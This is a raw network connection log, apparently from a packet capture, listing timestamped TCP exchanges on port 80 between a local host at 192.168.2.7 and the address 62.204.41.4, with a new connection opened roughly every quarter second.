Feb 7, 2023 23:07:39.522279978 CET	80	49838	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:39.522418976 CET	49838	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:39.576742887 CET	49838	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:39.637449026 CET	80	49838	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:39.640382051 CET	80	49838	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:39.640552998 CET	49838	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:39.753216028 CET	49838	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:39.753990889 CET	49839	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:39.814028025 CET	80	49838	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:39.814368963 CET	80	49839	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:39.814380884 CET	49838	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:39.814707041 CET	49839	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:39.819277048 CET	49839	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:39.879859924 CET	80	49839	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:39.882565975 CET	80	49839	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:39.882700920 CET	49839	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:39.986754894 CET	49839	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:39.987778902 CET	49840	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.047472000 CET	80	49839	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:40.047636986 CET	49839	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.048099041 CET	80	49840	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:40.048257113 CET	49840	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.053783894 CET	49840	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.114204884 CET	80	49840	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:40.117824078 CET	80	49840	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:40.117927074 CET	49840	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.221139908 CET	49840	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.229104042 CET	49841	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.281738043 CET	80	49840	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:40.281899929 CET	49840	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.289819002 CET	80	49841	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:40.290011883 CET	49841	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.291176081 CET	49841	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.351880074 CET	80	49841	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:40.353945017 CET	80	49841	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:40.354062080 CET	49841	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.471261024 CET	49841	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.472393036 CET	49842	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.532172918 CET	80	49841	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:40.532335043 CET	49841	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.533577919 CET	80	49842	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:40.533750057 CET	49842	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.535002947 CET	49842	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.596293926 CET	80	49842	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:40.598506927 CET	80	49842	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:40.598730087 CET	49842	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.705316067 CET	49842	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.706101894 CET	49843	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.766896009 CET	80	49842	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:40.767144918 CET	49842	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.767838955 CET	80	49843	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:40.768026114 CET	49843	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.769583941 CET	49843	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.831300974 CET	80	49843	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:40.833797932 CET	80	49843	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:40.833986998 CET	49843	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.950567007 CET	49843	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:40.951436996 CET	49844	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.012537956 CET	80	49843	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:41.012739897 CET	80	49844	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:41.012778997 CET	49843	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.012876987 CET	49844	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.013550043 CET	49844	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.074939013 CET	80	49844	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:41.078934908 CET	80	49844	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:41.079133987 CET	49844	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.189948082 CET	49844	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.191066980 CET	49845	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.250834942 CET	80	49845	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:41.251142979 CET	49845	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.251216888 CET	80	49844	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:41.251332998 CET	49844	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.253266096 CET	49845	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.312787056 CET	80	49845	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:41.315891981 CET	80	49845	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:41.316140890 CET	49845	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.423938990 CET	49845	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.426995993 CET	49846	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.483620882 CET	80	49845	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:41.483772039 CET	49845	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.489495993 CET	80	49846	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:41.489707947 CET	49846	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.490813017 CET	49846	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.553355932 CET	80	49846	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:41.555815935 CET	80	49846	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:41.555989027 CET	49846	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.681802988 CET	49846	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.682894945 CET	49847	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.744236946 CET	80	49847	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:41.744297981 CET	80	49846	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:41.744472027 CET	49847	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.744529009 CET	49846	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.745093107 CET	49847	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.806284904 CET	80	49847	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:41.808494091 CET	80	49847	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:41.808669090 CET	49847	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.924582958 CET	49847	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.925962925 CET	49848	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.985907078 CET	80	49847	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:41.986057043 CET	49847	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.986534119 CET	80	49848	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:41.986882925 CET	49848	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:41.988753080 CET	49848	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.049370050 CET	80	49848	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:42.053529978 CET	80	49848	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:42.053855896 CET	49848	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.158179045 CET	49848	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.159168959 CET	49849	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.218847036 CET	80	49848	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:42.219027042 CET	49848	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.220523119 CET	80	49849	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:42.220865965 CET	49849	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.221379995 CET	49849	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.282797098 CET	80	49849	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:42.285451889 CET	80	49849	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:42.285614014 CET	49849	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.393119097 CET	49849	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.394220114 CET	49850	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.454716921 CET	80	49849	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:42.454889059 CET	49849	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.455368996 CET	80	49850	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:42.455492973 CET	49850	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.466685057 CET	49850	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.527971983 CET	80	49850	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:42.530186892 CET	80	49850	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:42.530348063 CET	49850	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.648948908 CET	49850	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.651828051 CET	49851	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.710231066 CET	80	49850	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:42.710306883 CET	49850	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.712023973 CET	80	49851	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:42.712131977 CET	49851	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.712678909 CET	49851	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.772731066 CET	80	49851	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:42.774888039 CET	80	49851	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:42.775002956 CET	49851	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.882857084 CET	49851	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.883856058 CET	49852	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.943202019 CET	80	49851	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:42.943309069 CET	49851	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.945027113 CET	80	49852	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:42.945152044 CET	49852	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:42.945715904 CET	49852	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.007018089 CET	80	49852	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:43.009648085 CET	80	49852	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:43.009784937 CET	49852	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.131867886 CET	49852	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.132893085 CET	49853	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.193083048 CET	80	49852	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:43.193156004 CET	49852	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.194040060 CET	80	49853	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:43.194139957 CET	49853	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.194714069 CET	49853	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.255980015 CET	80	49853	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:43.259275913 CET	80	49853	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:43.259682894 CET	49853	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.380796909 CET	49853	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.381681919 CET	49854	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.441906929 CET	80	49854	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:43.442152023 CET	80	49853	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:43.442446947 CET	49853	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.442456961 CET	49854	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.442984104 CET	49854	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.503154993 CET	80	49854	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:43.506808996 CET	80	49854	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:43.506921053 CET	49854	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.611150026 CET	49854	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.612241030 CET	49855	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.671406984 CET	80	49854	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:43.671617985 CET	49854	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.673546076 CET	80	49855	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:43.673721075 CET	49855	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.680991888 CET	49855	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.742486954 CET	80	49855	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:43.744910002 CET	80	49855	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:43.745038986 CET	49855	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.863985062 CET	49855	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.864768982 CET	49856	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.925282001 CET	80	49856	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:43.925419092 CET	80	49855	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:43.925436974 CET	49856	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.925508022 CET	49855	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.927942991 CET	49856	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:43.988591909 CET	80	49856	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:43.990817070 CET	80	49856	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:43.991030931 CET	49856	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.112159967 CET	49856	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.113142014 CET	49857	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.172880888 CET	80	49856	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:44.173641920 CET	49856	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.175353050 CET	80	49857	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:44.176403999 CET	49857	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.177016020 CET	49857	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.239159107 CET	80	49857	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:44.241430998 CET	80	49857	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:44.241570950 CET	49857	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.346816063 CET	49857	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.349189997 CET	49858	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.409349918 CET	80	49857	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:44.409420013 CET	80	49858	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:44.409568071 CET	49857	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.409646988 CET	49858	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.420397997 CET	49858	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.480937958 CET	80	49858	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:44.483531952 CET	80	49858	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:44.484904051 CET	49858	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.596457005 CET	49858	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.597635984 CET	49859	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.656836987 CET	80	49858	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:44.658895969 CET	49858	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.659140110 CET	80	49859	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:44.659313917 CET	49859	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.659898996 CET	49859	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.721283913 CET	80	49859	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:44.728530884 CET	80	49859	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:44.728745937 CET	49859	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.846635103 CET	49859	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.853955030 CET	49860	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.908128977 CET	80	49859	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:44.908308983 CET	49859	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.916486025 CET	80	49860	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:44.916754961 CET	49860	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.917310953 CET	49860	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:44.979716063 CET	80	49860	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:44.983091116 CET	80	49860	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:44.983263969 CET	49860	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.097103119 CET	49860	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.098438978 CET	49861	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.158984900 CET	80	49861	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:45.159199953 CET	49861	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.159635067 CET	80	49860	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:45.159724951 CET	49860	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.159847975 CET	49861	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.220273972 CET	80	49861	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:45.223606110 CET	80	49861	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:45.223762035 CET	49861	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.349342108 CET	49861	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.350344896 CET	49862	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.410094023 CET	80	49861	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:45.410279989 CET	49861	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.410744905 CET	80	49862	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:45.410895109 CET	49862	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.411367893 CET	49862	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.471750975 CET	80	49862	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:45.477965117 CET	80	49862	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:45.478215933 CET	49862	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.581823111 CET	49862	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.582948923 CET	49863	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.643438101 CET	80	49862	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:45.643640995 CET	49862	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.644193888 CET	80	49863	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:45.644387007 CET	49863	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.653672934 CET	49863	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.715091944 CET	80	49863	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:45.718514919 CET	80	49863	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:45.718764067 CET	49863	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.839749098 CET	49863	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.840842962 CET	49864	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.901338100 CET	80	49863	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:45.901370049 CET	80	49864	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:45.901534081 CET	49863	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.901627064 CET	49864	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.902188063 CET	49864	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:45.962587118 CET	80	49864	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:45.966905117 CET	80	49864	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:45.967137098 CET	49864	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.081259966 CET	49864	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.082070112 CET	49865	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.141901016 CET	80	49864	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:46.141982079 CET	49864	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.143703938 CET	80	49865	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:46.143806934 CET	49865	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.144260883 CET	49865	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.205713987 CET	80	49865	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:46.209244013 CET	80	49865	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:46.209434032 CET	49865	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.321727991 CET	49865	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.322603941 CET	49866	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.383387089 CET	80	49865	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:46.383514881 CET	49865	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.384094954 CET	80	49866	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:46.384222031 CET	49866	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.384764910 CET	49866	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.447164059 CET	80	49866	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:46.450736046 CET	80	49866	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:46.450854063 CET	49866	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.567487001 CET	49866	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.568342924 CET	49867	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.629127979 CET	80	49866	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:46.629245996 CET	49866	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.630939960 CET	80	49867	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:46.631093979 CET	49867	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.640724897 CET	49867	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.703350067 CET	80	49867	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:46.707313061 CET	80	49867	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:46.707485914 CET	49867	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.817739010 CET	49867	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.818747997 CET	49868	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.880203962 CET	80	49868	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:46.880354881 CET	80	49867	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:46.880558014 CET	49868	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.880625010 CET	49867	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.881014109 CET	49868	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:46.942190886 CET	80	49868	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:46.946614027 CET	80	49868	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:46.946815968 CET	49868	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:47.065943956 CET	49868	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:47.086281061 CET	49869	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:47.127449989 CET	80	49868	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:47.127682924 CET	49868	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:47.147860050 CET	80	49869	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:47.148185015 CET	49869	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:47.148730040 CET	49869	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:47.210131884 CET	80	49869	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:47.216913939 CET	80	49869	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:47.216991901 CET	49869	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:47.334237099 CET	49869	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:47.335083961 CET	49870	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:47.395876884 CET	80	49869	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:47.396857023 CET	49869	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:47.397855043 CET	80	49870	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:47.398000002 CET	49870	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:47.398417950 CET	49870	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:47.460980892 CET	80	49870	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:47.464008093 CET	80	49870	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:47.465130091 CET	49870	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:47.582437038 CET	49870	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:47.584265947 CET	49871	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:47.644972086 CET	80	49870	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:47.645844936 CET	80	49871	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:47.646091938 CET	49870	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:47.646172047 CET	49871	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:47.646610975 CET	49871	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:47.708331108 CET	80	49871	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:47.711477995 CET	80	49871	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:47.713960886 CET	49871	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:47.831275940 CET	49871	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:47.842780113 CET	49872	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:47.893121004 CET	80	49871	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:47.893309116 CET	49871	80	192.168.2.7	62.204.41.4
